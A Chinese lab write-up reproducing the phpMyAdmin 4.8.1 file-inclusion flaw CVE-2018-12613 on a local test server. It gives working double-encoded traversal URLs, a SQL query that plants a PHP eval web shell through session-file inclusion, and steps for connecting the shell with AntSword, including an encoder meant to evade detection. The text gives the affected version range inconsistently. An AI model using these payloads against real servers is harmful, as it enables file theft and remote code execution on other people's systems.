phpMyAdmin文件包含漏洞复现:原理详解+环境搭建+渗透实战(windows CVE-2018-12613)

发布于:2025-09-08 ⋅ 阅读:(14) ⋅ 点赞:(0)

目录

一、CVE-2018-12613漏洞

1、漏洞简介

2、漏洞原理

(1)漏洞触发点与正常逻辑

(2)过滤逻辑缺陷与绕过方式

二、渗透准备

1、访问phpmyadmin靶场

2、登录phpmyadmin

3、获取session文件位置

三、渗透准备

1、读取敏感信息

2、上传木马

(1)访问server_sql.php页面

(2)执行phpinfo命令

(3)session文件包含执行脚本

(4)浏览器访问木马

(5)连接蚁剑


一、CVE-2018-12613漏洞

1、漏洞简介

CVE-2018-12613是phpMyAdmin 4.8.0-4.8.21中的高危本地文件包含漏洞。攻击者通过双重URL编码(如%253f)绕过白名单检查,利用index.php的target参数实现任意文件包含。可读取敏感文件或结合Session注入执行PHP代码,需认证后利用。

  • CVE编号:CVE-2018-12613

  • 漏洞类型本地文件包含(LFI)

  • 影响版本:phpMyAdmin 4.8.0 - 4.8.1

  • 漏洞等级高危

  • 利用条件:需要攻击者能够登录phpMyAdmin(已认证)

  • 核心问题: 对传入 index.php 的 target 参数验证不足,导致攻击者能够包含并执行服务器上的任意文件(包括远程文件),从而实现代码执行。

2、漏洞原理

CVE-2018-12613 核心原理在于对target参数的过滤逻辑存在缺陷,攻击者可通过构造特殊请求绕过限制,实现任意文件包含。

(1)漏洞触发点与正常逻辑

在 phpMyAdmin 的index.php中,target参数用于指定跳转或加载的页面,代码通过include函数加载该参数对应的文件,核心逻辑如下:

// index.php 中的关键代码
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target'])) {
    $target = $_REQUEST['target'];
    // 检查 target 是否在白名单内
    if (! PMA_isValid($_REQUEST['target'])) {
        $target = $cfg['DefaultTabDatabase'];
    }
    include $target;
}

正常情况下,PMA_isValid()函数会校验target值是否在允许的白名单中(如db_datadict.phptable_sql.php等合法页面),若不在白名单则使用默认值,防止恶意文件包含。

(2)过滤逻辑缺陷与绕过方式

PMA_isValid()函数的过滤逻辑存在漏洞:当target参数以index.php?开头时,函数会误判为 “合法值”,直接放行。具体来说,其内部判断逻辑类似:

// 简化的 PMA_isValid() 逻辑
function PMA_isValid($target) {
    // 白名单校验
    if (in_array($target, $whitelist)) {
        return true;
    }
    // 漏洞点:若 target 以 "index.php?" 开头,直接判定为合法
    if (strpos($target, 'index.php?') === 0) {
        return true;
    }
    return false;
}

攻击者发现可以传入经过编码的URL来绕过白名单检查:

index.php?target=db_sql.php%253f/../../../../etc/passwd

白名单验证函数 Core::checkPageValidity() 存在逻辑缺陷。攻击者可以通过二次URL编码的方式绕过检查:

  • 构造Payload:将 ? 字符进行双重编码。? → 第一次编码为 %3f → 第二次编码为 %253f

  • 发送请求

    http://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/passwd

  • 绕过过程

    • 第一次解码(PHP自动完成):%253f 被解码为 %3f,参数变为 db_sql.php%3f/../../../../etc/passwd

    • 白名单检查:在某些版本的验证逻辑中,程序可能会对参数进行二次解码或错误地处理 %3f,最终提取出 db_sql.php 进行校验。由于 db_sql.php 在白名单内,检查通过。

    • 文件包含include 语句最终尝试加载 db_sql.php?/../../../../etc/passwd。在文件系统层面,? 被当作普通字符,因此实际路径经由路径遍历(../../../../)后被解析为 /etc/passwd,导致敏感文件被读取。

二、渗透准备

1、访问phpmyadmin靶场

本文的服务使用phpstudy启动,其中PHP版本为5.5.9。从官网下载phpmyadmin 4.8.1版本的源码,选择将phpmyadmin4.8.1版本的源码放到网站的根目录中,具体如下所示。

C:\phpstudy_pro\WWW\phpMyAdmin-4.8.1

当前网站的根目录为C:\phpstudy_pro\WWW\,故而访问phpmyadmin的URL地址如下所示。

http://127.0.0.1/phpMyAdmin-4.8.1/index.php

2、登录phpmyadmin

输入数据库的用户名和密码登录,如下所示phpmyadmin为漏洞版本4.8.1。

如果忘记了数据库密码,以phpstudy为例其数据库的用户名和密码可以通过phpstudy-数据库,将鼠标放到密码处即可显示密码的明文,如下所示。

3、获取session文件位置

在当前页面查看session值,鼠标右键-元素-网络,如下所示。

点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。

点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。

找到phpmyadmin对应的cookie值,将其复制下来9hgc7cmqqolddq8pajfbqkak13iasksq。

对应的session名应该为sess_9hgc7cmqqolddq8pajfbqkak13iasksq,其中session的文件位置为C:\phpstudy_pro\Extensions\tmp\tmp\sess_9hgc7cmqqolddq8pajfbqkak13iasksq,如下所示。

注意:session文件的位置根据php.ini中的配置,

三、渗透实战

1、读取敏感信息

构造请求利用CVE-2018-12613漏洞实施攻击,访问windows系统中的hosts敏感文件,如下所示。

http://127.0.0.1/phpMyAdmin-4.8.1/?target=db_sql.php%253f/../../../../Windows/System32/drivers/etc/hosts
或
http://127.0.0.1/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../Windows/System32/drivers/etc/hosts
  • db_sql.php 的位置: C:\phpstudy_pro\WWW\phpmyadmin\db_sql.php
  • hosts 文件的位置: C:\Windows\System32\drivers\etc\hosts
  • 最终相对路径为:../../../../Windows/System32/drivers/etc/hosts

通过将问号双重编码为%253f绕过phpMyAdmin白名单检查,使系统误将db_sql.php识别为合法目标。实际包含时问号被当作普通字符,结合路径遍历序列跳转目录,最终成功读取Windows系统hosts文件内容,实现敏感信息泄露。

  • db_sql.php 这是一个合法的、在白名单内的phpMyAdmin脚本文件名。攻击者用它来通过初始的白名单检查。
  • %253f 这是双重编码的关键。第一次解码后,%25会变成%,所以%253f会变成 %3f。最终,当PHP进行包含操作时,%3f会被解码成问号 ?? URL中通常表示查询字符串的开始。但在文件路径中,它只是一个非法字符。
  • /../../../../:路径遍历(Path Traversal)序列,目的是回退到磁盘的根目录(C:\)。
  • Windows/System32/drivers/etc/hosts 这是从磁盘根目录开始的目标文件路径,即Windows系统的hosts文件。

如下所示渗透成功,获取到的敏感信息为# 127.0.0.1 localhost 127.0.0.1 activate.navicat.com 199.232.68.133 raw.githubusercontent.com。

2、上传木马

通过包含session临时文件来实现命令执行,具体思路如下所示。

(1)访问server_sql.php页面

首先在登录表单或其他能写入Session的地方注入PHP代码,这里选择访问server_sql.php页面,具体效果如下所示。

http://127.0.0.1/phpMyAdmin-4.8.1/server_sql.php 

(2)执行phpinfo命令

我们先开始执行一个SELECT '生成一句话木马' 命令,具体内容如下所示。

select "<?php file_put_contents('ljn.php','<?php @eval($_POST[ljn]);?>')?>"

这步会将代码写入Session文件,文件名格式为:sess_[PHPSESSID],执行后页面效果如下所示。

(3)session文件包含执行脚本

在将木马脚本写入到session文件中后,计划通过查看session值来访问临时文件/sess_9hgc7cmqqolddq8pajfbqkak13iasksq实现渗透,其中session的文件位置如下所示。

C:\phpstudy_pro\Extensions\tmp\tmp\sess_9hgc7cmqqolddq8pajfbqkak13iasksq

db_sql.php文件位置C:\phpstudy_pro\WWW\phpmyadmin\db_sql.php,故其相对路径如下所示。

../../../Extensions/tmp/tmp/sess_9hgc7cmqqolddq8pajfbqkak13iasksq

构造文件包含访问session文件的URL地址,如下所示。

http://127.0.0.1/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../Extensions/tmp/tmp/sess_9hgc7cmqqolddq8pajfbqkak13iasksq
或
http://127.0.0.1/phpMyAdmin-4.8.1/?target=db_sql.php%253f/../../../Extensions/tmp/tmp/sess_9hgc7cmqqolddq8pajfbqkak13iasksq

执行后效果如下所示,已经包含成功。本部分的原理实际上是通过Session文件作为"木马",利用文件包含漏洞来执行其中的PHP代码,预期是在当前目录下生成子木马ljn.php。

该URL的执行效果是在当前目录下生成木马,故而ljn.php的URL路径如下所示。

​http://127.0.0.1/phpMyAdmin-4.8.1/ljn.php​

(4)浏览器访问木马

攻击者使用子木马马脚本(ljn.php)的方法是通过发送 POST 请求,并在请求体中包含一个名为 ljn 的参数,如下所示。

木马的链接地址:http://127.0.0.1/phpMyAdmin-4.8.1/ljn.php 
密码为ljn
木马内容:<?php @eval($_POST[ljn]);?>
  • <?php ... ?>:PHP 标签,表示其中的代码是 PHP 代码。

  • $_POST['ljn']:获取通过 POST 方法传递的、名为 ljn 的参数的值。这是攻击者向服务器发送指令的通道。

  • eval(...):一个危险的 PHP 函数,它将其字符串参数当作 PHP 代码来执行。这是整个木马的核心。

  • @:错误控制运算符。如果执行过程中出现错误,@ 会抑制错误信息的显示,使木马更加隐蔽

当攻击者子木马脚本(ljn.php)发送 POST 请求,请求体中包含一个名为 ljn 的参数,在 HackBar 中勾选 Post data 选项,并将POST参数设置为phpinfo();函数时,效果如下所示,渗透成功。

(5)连接蚁剑

  • 打开蚁剑:启动蚁剑应用程序。

  • 添加shell数据

    • 右键点击左侧空白区域 -> 添加

    • 在弹出的窗口中填写以下信息:

      • URL地址http://127.0.0.1/phpMyAdmin-4.8.1/ljn.php

      • 连接密码ljn (即 $_POST['ljn'] 中的参数名)

      • 编码器:通常选择 default(默认)或 base64(用于绕过一些安全检测)。

    • 点击 添加 保存配置。


在左侧列表中找到刚刚添加的 shell,右键选择文件,如下所示显示网站的目录结构。


网站公告

今日签到

点亮在社区的每一天
去签到